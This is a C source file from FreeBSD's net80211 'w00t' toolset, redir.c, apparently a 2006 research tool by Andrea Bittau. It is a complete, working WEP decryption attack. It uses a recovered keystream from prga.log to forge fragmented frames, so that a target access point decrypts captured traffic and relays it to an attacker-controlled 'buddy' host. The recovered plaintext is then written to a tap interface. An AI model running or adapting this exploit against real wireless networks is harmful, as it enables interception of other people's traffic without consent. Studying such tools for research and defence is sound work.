1 /*- 2 * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk> 3 * All rights reserved. 4 * 5 * Redistribution and use in source and binary forms, with or without 6 * modification, are permitted provided that the following conditions 7 * are met: 8 * 1. Redistributions of source code must retain the above copyright 9 * notice, this list of conditions and the following disclaimer. 10 * 2. Redistributions in binary form must reproduce the above copyright 11 * notice, this list of conditions and the following disclaimer in the 12 * documentation and/or other materials provided with the distribution. 13 * 14 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND 15 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 16 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 17 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 18 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 20 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 21 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 22 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 23 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 24 * SUCH DAMAGE. 25 * 26 * $FreeBSD: src/tools/tools/net80211/w00t/redir/redir.c,v 1.2 2009/07/24 15:31:22 sam Exp $ 27 */ 28 #include <sys/time.h> 29 #include <sys/types.h> 30 #include <sys/socket.h> 31 #include <sys/uio.h> 32 #include <netinet/in.h> 33 #include <arpa/inet.h> 34 #include <netinet/in_systm.h> 35 #include <netinet/ip.h> 36 #include <string.h> 37 #include <stdio.h> 38 #include <stdlib.h> 39 #include <unistd.h> 40 #include <fcntl.h> 41 #include <err.h> 42 #include <assert.h> 43 #include <zlib.h> 44 #include "w00t.h" 45 46 enum { 47 S_START = 0, 48 S_WAIT_ACK, 49 S_WAIT_BUDDY 50 }; 51 52 struct queue { 53 struct ieee80211_frame *wh; 54 int len; 55 int id; 56 57 char *buf; 58 int live; 59 struct queue *next; 60 }; 61 62 struct params { 63 int rx; 64 int tx; 65 66 int s; 67 int port; 68 69 int tap; 70 71 char mac[6]; 72 char ap[6]; 73 char rtr[6]; 74 struct in_addr src; 75 struct in_addr dst; 76 77 char prga[2048]; 78 int prga_len; 79 char iv[3]; 80 char *fname; 81 82 int state; 83 84 struct queue *q; 85 86 char packet[2048]; 87 int packet_len; 88 struct timeval last; 89 int id; 90 int data_try; 91 92 int seq; 93 int frag; 94 95 char buddy_data[2048]; 96 int buddy_got; 97 }; 98 99 void load_prga(struct params *p) 100 { 101 int fd; 102 int rd; 103 104 fd = open(p->fname, O_RDONLY); 105 if (fd == -1) { 106 p->prga_len = 0; 107 return; 108 } 109 110 rd = read(fd, p->iv, 3); 111 if (rd == -1) 112 err(1, "read()"); 113 if (rd != 3) { 114 printf("Short read\n"); 115 exit(1); 116 } 117 118 rd = read(fd, p->prga, sizeof(p->prga)); 119 if (rd == -1) 120 err(1, "read()"); 121 p->prga_len = rd; 122 123 printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname); 124 close(fd); 125 } 126 127 int wanted(struct params *p, struct ieee80211_frame *wh, int len) 128 { 129 char *bssid, *sa; 130 131 if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) { 132 bssid = wh->i_addr1; 133 sa = wh->i_addr2; 134 } 135 else { 136 bssid = wh->i_addr2; 137 sa = wh->i_addr3; 138 } 139 140 if (memcmp(bssid, p->ap, 6) != 0) 141 return 0; 142 143 if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) { 144 printf("Got non WEP packet...\n"); 145 return 0; 146 } 147 148 /* my own shit */ 149 if (memcmp(p->mac, sa, 6) == 0) 150 return 0; 151 152 return 1; 153 } 154 155 void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len) 156 { 157 struct queue *q = p->q; 158 int qlen = 0; 159 char *ret = NULL; 160 struct queue *last = NULL; 161 162 /* find a slot */ 163 while (q) { 164 if (q->live) 165 qlen++; 166 else { 167 /* recycle */ 168 ret = q->buf; 169 break; 170 } 171 172 last = q; 173 q = q->next; 174 } 175 176 /* need to create slot */ 177 if (!q) { 178 q = (struct queue*) malloc(sizeof(*q)); 179 if (!q) 180 err(1, "malloc()"); 181 memset(q, 0, sizeof(*q)); 182 183 /* insert */ 184 if (!p->q) 185 p->q = q; 186 else { 187 assert(last); 188 last->next = q; 189 } 190 } 191 192 q->live = 1; 193 q->buf = *buf; 194 q->len = len; 195 q->wh = wh; 196 q->id = p->id++; 197 198 qlen++; 199 200 if (qlen > 5) 201 printf("Enque. Size: %d\n", qlen); 202 *buf = ret; 203 } 204 205 /********** RIPPED 206 ************/ 207 unsigned short in_cksum (unsigned short *ptr, int nbytes) { 208 register long sum; 209 u_short oddbyte; 210 register u_short answer; 211 212 sum = 0; 213 while (nbytes > 1) 214 { 215 sum += *ptr++; 216 nbytes -= 2; 217 } 218 219 if (nbytes == 1) 220 { 221 oddbyte = 0; 222 *((u_char *) & oddbyte) = *(u_char *) ptr; 223 sum += oddbyte; 224 } 225 226 sum = (sum >> 16) + (sum & 0xffff); 227 sum += (sum >> 16); 228 answer = ~sum; 229 return (answer); 230 } 231 /************** 232 ************/ 233 234 void send_packet(struct params *p) 235 { 236 int rc; 237 struct ieee80211_frame *wh; 238 239 rc = inject(p->tx, p->packet, p->packet_len); 240 if (rc == -1) 241 err(1, "inject()"); 242 if (rc != p->packet_len) { 243 printf("Wrote %d/%d\n", rc, p->packet_len); 244 exit(1); 245 } 246 247 p->data_try++; 248 wh = (struct ieee80211_frame*) p->packet; 249 wh->i_fc[1] |= IEEE80211_FC1_RETRY; 250 251 if (gettimeofday(&p->last, NULL) == -1) 252 err(1, "gettimeofday()"); 253 } 254 255 void send_header(struct params *p, struct queue *q) 256 { 257 struct ieee80211_frame *wh; 258 short *pseq; 259 char *ptr; 260 struct ip *ih; 261 int len, i; 262 uLong crc = crc32(0L, Z_NULL, 0); 263 uLong *pcrc; 264 265 /* 802.11 */ 266 memset(p->packet, 0, sizeof(p->packet)); 267 wh = (struct ieee80211_frame *) p->packet; 268 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; 269 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA; 270 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS; 271 wh->i_fc[1] |= IEEE80211_FC1_WEP; 272 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG; 273 274 wh->i_dur[0] = 0x69; 275 276 memcpy(wh->i_addr1, p->ap, 6); 277 memcpy(wh->i_addr2, p->mac, 6); 278 memcpy(wh->i_addr3, p->rtr, 6); 279 280 pseq = (short*) wh->i_seq; 281 p->frag = 0; 282 p->seq++; 283 *pseq = seqfn(p->seq, p->frag++); 284 285 /* IV */ 286 ptr = (char*) (wh+1); 287 memcpy(ptr, p->iv, 3); 288 ptr += 4; 289 290 /* LLC/SNAP */ 291 memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00\x08\x00", 8); 292 293 /* IP */ 294 ih = (struct ip*) (ptr+8); 295 ih->ip_v = 4; 296 ih->ip_hl = 5; 297 len = q->len - sizeof(*wh) - 4 - 4 + 20; 298 ih->ip_len = htons(len); 299 ih->ip_id = htons(q->id); 300 ih->ip_ttl = 69; 301 ih->ip_p = 0; 302 ih->ip_src.s_addr = p->src.s_addr; 303 ih->ip_dst.s_addr = p->dst.s_addr; 304 ih->ip_sum = in_cksum((unsigned short*)ih, 20); 305 306 /* ICV */ 307 len = 8 + 20; 308 crc = crc32(crc, ptr, len); 309 pcrc = (uLong*) (ptr+len); 310 *pcrc = crc; 311 312 /* wepify */ 313 for (i = 0; i < len + 4; i++) 314 ptr[i] ^= p->prga[i]; 315 316 p->packet_len = sizeof(*wh) + 4 + len + 4; 317 p->data_try = 0; 318 send_packet(p); 319 } 320 321 void send_queue(struct params *p) 322 { 323 struct queue *q = p->q; 324 325 assert(q); 326 assert(q->live); 327 328 send_header(p, q); 329 p->state = S_WAIT_ACK; 330 } 331 332 void send_data(struct params *p) 333 { 334 struct ieee80211_frame *wh; 335 short *seq; 336 struct queue *q = p->q; 337 char *dst, *src; 338 int len; 339 340 assert(q); 341 342 /* 802.11 */ 343 memset(p->packet, 0, sizeof(p->packet)); 344 wh = (struct ieee80211_frame*) p->packet; 345 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; 346 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA; 347 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS; 348 wh->i_fc[1] |= IEEE80211_FC1_WEP; 349 350 wh->i_dur[0] = 0x69; 351 352 memcpy(wh->i_addr1, p->ap, 6); 353 memcpy(wh->i_addr2, p->mac, 6); 354 memcpy(wh->i_addr3, p->rtr, 6); 355 356 seq = (short*) wh->i_seq; 357 *seq = seqfn(p->seq, p->frag++); 358 359 /* data */ 360 dst = (char*) (wh+1); 361 src = (char*) (q->wh+1); 362 len = q->len - sizeof(*wh); 363 memcpy(dst, src, len); 364 365 p->packet_len = sizeof(*wh) + len; 366 p->data_try = 0; 367 send_packet(p); 368 } 369 370 void got_ack(struct params *p) 371 { 372 switch (p->frag) { 373 case 1: 374 send_data(p); 375 break; 376 377 case 2: 378 p->state = S_WAIT_BUDDY; 379 p->data_try = 69; 380 break; 381 } 382 } 383 384 void read_wifi(struct params *p) 385 { 386 static char *buf = 0; 387 static int buflen = 4096; 388 struct ieee80211_frame *wh; 389 int rc; 390 391 if (!buf) { 392 buf = (char*) malloc(buflen); 393 if (!buf) 394 err(1, "malloc()"); 395 } 396 397 rc = sniff(p->rx, buf, buflen); 398 if (rc == -1) 399 err(1, "sniff()"); 400 401 wh = get_wifi(buf, &rc); 402 if (!wh) 403 return; 404 405 /* acks */ 406 if (frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK) && 407 (memcmp(p->mac, wh->i_addr1, 6) == 0)) { 408 got_ack(p); 409 return; 410 } 411 412 /* data */ 413 if (frame_type(wh, IEEE80211_FC0_TYPE_DATA, 414 IEEE80211_FC0_SUBTYPE_DATA)) { 415 if (!wanted(p, wh, rc)) 416 return; 417 418 enque(p, &buf, wh, rc); 419 if (p->state == S_START) 420 send_queue(p); 421 return; 422 } 423 } 424 425 int connect_buddy(struct params *p) 426 { 427 struct sockaddr_in s_in; 428 429 memset(&s_in, 0, sizeof(s_in)); 430 s_in.sin_family = PF_INET; 431 s_in.sin_port = htons(p->port); 432 s_in.sin_addr.s_addr = p->dst.s_addr; 433 434 if ((p->s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) 435 return -1; 436 437 if (connect(p->s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) 438 return -1; 439 440 return 0; 441 } 442 443 void buddy_reset(struct params *p) 444 { 445 p->buddy_got = 0; 446 447 if (connect_buddy(p) == -1) 448 err(1, "connect_buddy()"); 449 } 450 451 int buddy_get(struct params *p, int len) 452 { 453 int rd; 454 455 rd = recv(p->s, &p->buddy_data[p->buddy_got], len, 0); 456 if (rd <= 0) { 457 buddy_reset(p); 458 return 0; 459 } 460 461 p->buddy_got += rd; 462 return rd == len; 463 } 464 465 void read_buddy_head(struct params *p) 466 { 467 int rem; 468 469 rem = 4 - p->buddy_got; 470 471 if (!buddy_get(p, rem)) 472 return; 473 } 474 475 void read_buddy_data(struct params *p) 476 { 477 unsigned short *ptr = (unsigned short*) p->buddy_data; 478 int id, len, rem; 479 struct queue *q = p->q; 480 struct queue *last = p->q; 481 char mac[12]; 482 struct iovec iov[2]; 483 484 id = ntohs(*ptr++); 485 len = ntohs(*ptr++); 486 487 rem = len + 4 - p->buddy_got; 488 489 assert(rem > 0); 490 if (!buddy_get(p, rem)) 491 return; 492 493 /* w00t, got it */ 494 #if 0 495 printf("id=%d len=%d\n", id, len); 496 #endif 497 p->buddy_got = 0; 498 499 /* feedback loop bullshit */ 500 if (!q) 501 return; 502 if (!q->live) 503 return; 504 505 /* sanity chex */ 506 if (q->id != id) { 507 printf("Diff ID\n"); 508 return; 509 } 510 511 rem = q->len - sizeof(*q->wh) - 4 - 4; 512 if (rem != len) { 513 printf("Diff len\n"); 514 return; 515 } 516 517 /* tap */ 518 if (q->wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) { 519 memcpy(mac, q->wh->i_addr3, 6); 520 memcpy(&mac[6], q->wh->i_addr2, 6); 521 } else { 522 memcpy(mac, q->wh->i_addr1, 6); 523 memcpy(&mac[6], q->wh->i_addr3, 6); 524 } 525 iov[0].iov_base = mac; 526 iov[0].iov_len = sizeof(mac); 527 iov[1].iov_base = (char*)ptr + 8 - 2; 528 iov[1].iov_len = len - 8 + 2; 529 530 rem = writev(p->tap, iov, sizeof(iov)/sizeof(struct iovec)); 531 if (rem == -1) 532 err(1, "writev()"); 533 if (rem != (14+(len-8))) { 534 printf("Short write %d\n", rem); 535 exit(1); 536 } 537 538 /* deque */ 539 q->live = 0; 540 if (q->next) { 541 542 p->q = q->next; 543 544 while (last) { 545 if (!last->next) { 546 last->next = q; 547 q->next = 0; 548 break; 549 } 550 last = last->next; 551 } 552 } 553 554 /* drain queue */ 555 p->state = S_START; 556 if (p->q->live) 557 send_queue(p); 558 } 559 560 void read_buddy(struct params *p) 561 { 562 if (p->buddy_got < 4) 563 read_buddy_head(p); 564 else 565 read_buddy_data(p); 566 } 567 568 void own(struct params *p) 569 { 570 struct timeval tv; 571 struct timeval *to = NULL; 572 fd_set fds; 573 int max; 574 int tout_ack = 10*1000; 575 int tout_buddy = 2*1000*1000; 576 int tout = (p->state == S_WAIT_BUDDY) ? tout_buddy : tout_ack; 577 578 if (p->state == S_WAIT_ACK || p->state == S_WAIT_BUDDY) { 579 int el; 580 581 /* check timeout */ 582 if (gettimeofday(&tv, NULL) == -1) 583 err(1, "gettimeofday()"); 584 585 el = elapsed(&p->last, &tv); 586 587 /* timeout */ 588 if (el >= tout) { 589 if (p->data_try > 3) { 590 p->state = S_START; 591 return; 592 } else { 593 send_packet(p); 594 el = 0; 595 } 596 } 597 el = tout - el; 598 tv.tv_sec = el/1000/1000; 599 tv.tv_usec = el - tv.tv_sec*1000*1000; 600 to = &tv; 601 } 602 603 FD_ZERO(&fds); 604 FD_SET(p->rx, &fds); 605 FD_SET(p->s, &fds); 606 max = (p->rx > p->s) ? p->rx : p->s; 607 608 if (select(max+1, &fds, NULL, NULL, to) == -1) 609 err(1, "select()"); 610 611 if (FD_ISSET(p->rx, &fds)) 612 read_wifi(p); 613 if (FD_ISSET(p->s, &fds)) 614 read_buddy(p); 615 } 616 617 void usage(char *name) 618 { 619 printf("Usage %s <opts>\n" 620 "-h\thelp\n" 621 "-d\t<buddy ip>\n" 622 "-p\t<port>\n" 623 "-b\t<bssid>\n" 624 "-t\t<tap>\n" 625 "-r\t<rtr>\n" 626 "-s\t<source ip>\n" 627 , name); 628 exit(1); 629 } 630 631 int main(int argc, char *argv[]) 632 { 633 struct params p; 634 char *iface = "wlan0"; 635 char *tap = "tap0"; 636 int ch; 637 638 memset(&p, 0, sizeof(p)); 639 memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6); 640 p.fname = "prga.log"; 641 p.seq = getpid(); 642 643 while ((ch = getopt(argc, argv, "hd:p:b:t:r:s:")) != -1) { 644 switch (ch) { 645 case 's': 646 if (!inet_aton(optarg, &p.src)) { 647 printf("Can't parse src IP\n"); 648 exit(1); 649 } 650 break; 651 652 case 'r': 653 if (str2mac(p.rtr, optarg) == -1) { 654 printf("Can't parse rtr MAC\n"); 655 exit(1); 656 } 657 break; 658 659 case 't': 660 tap = optarg; 661 break; 662 663 case 'b': 664 if (str2mac(p.ap, optarg) == -1) { 665 printf("Can't parse BSSID\n"); 666 exit(1); 667 } 668 break; 669 670 case 'd': 671 if (!inet_aton(optarg, &p.dst)) { 672 printf("Can't parse IP\n"); 673 exit(1); 674 } 675 break; 676 677 case 'p': 678 p.port = atoi(optarg); 679 break; 680 681 case 'h': 682 default: 683 usage(argv[0]); 684 break; 685 } 686 } 687 688 load_prga(&p); 689 assert(p.prga_len > 60); 690 691 if ((p.rx = open_rx(iface)) == -1) 692 err(1, "open_rx()"); 693 if ((p.tx = open_tx(iface)) == -1) 694 err(1, "open_tx()"); 695 696 if ((p.tap = open_tap(tap)) == -1) 697 err(1, "open_tap()"); 698 if (set_iface_mac(tap, p.mac) == -1) 699 err(1, "set_iface_mac()"); 700 701 if (connect_buddy(&p) == -1) 702 err(1, "connect_buddy()"); 703 704 p.state = S_START; 705 while (1) 706 own(&p); 707 708 exit(0); 709 } 710